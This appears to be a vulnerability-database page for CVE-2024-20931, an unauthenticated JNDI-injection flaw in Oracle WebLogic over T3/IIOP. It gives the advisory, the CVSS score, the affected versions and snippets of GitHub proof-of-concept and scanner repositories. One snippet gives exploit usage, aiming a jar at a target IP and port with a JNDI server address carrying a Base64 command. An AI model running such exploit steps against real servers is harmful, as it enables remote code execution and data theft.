Published: 17/02/2024 Updated: 29/11/2024

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Vulnerable Product	Search on Vulmon	Subscribe to Product
oracle weblogic server 12.2.1.4.0
oracle weblogic server 14.1.1.0.0

Check Point Reference: CPAI-2024-0082 Date Published: 12 Mar 2024 Severity: Critical ...

The Poc for CVE-2024-20931

CVE-2024-20931 The Poc for CVE-2024-20931 Vulnerability Analysis JNDI注入的一种新攻击面-CVE-2024-20931分析

CVE-2024-20931-Poc

CVE-2024-20931 Oracle A RCE vuln based on Weblogic T3\IIOP protocol

🚨 CVE-2024-20931 🚨 CVE-2024-20931 Oracle A RCE vuln based on Weblogic T3\IIOP protocol A new attack surface for JNDI injection-CVE-2024-20931 analysis introduction In the latest official January 2024 patch released by Oracle, a remote command execution vulnerability CVE-2024-20931 based on the Weblogic T3\IIOP protocol has been fixed This vulnerability was submitted to O

weblogic专项漏扫命令行工具，

Getting Started 功能简介 1 命令详情介绍命令说明： -h :查看所有命令详情 -l :查看所有支持检测的漏洞列表 -bList :查看所有支持批量检测的漏洞列表 -sVersion :精确扫描目标版本，已支持, Weblogic: Usage: java -jar xxjar -sVersion <targetIp> <TargetPort> jndi使用说明: Usage

CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839

CVE-2024-20931 CVE-2024-20931, this is the bypass of the patch of CVE-2023-21839 Oracle Weblogic Usage: Setup JNDI, the specific one from githubcom/WhiteHSBG/JNDIExploit/ Exploit: java -jar CVE-2024-20931jar Please input target IP:127001 Please input target port:7001 Please input RMI Address(ip:port/exp):JNDISERVER:1389/Basic/Command/Base64/BASE64COMMAND

NVD-CWE-noinfo https://nvd.nist.gov https://github.com/GlassyAmadeus/CVE-2024-20931 https://advisories.checkpoint.com/defense/advisories/public/2024/cpai-2024-0082.html https://www.first.org/epss https://www.oracle.com/security-alerts/cpujan2024.html https://www.oracle.com/security-alerts/cpujan2024.html

CVE-2024-20931

Vulnerability Summary

Vulnerability Trend

Vendor Advisories

Github Repositories

References

Vulmon Search

About

Products

Connect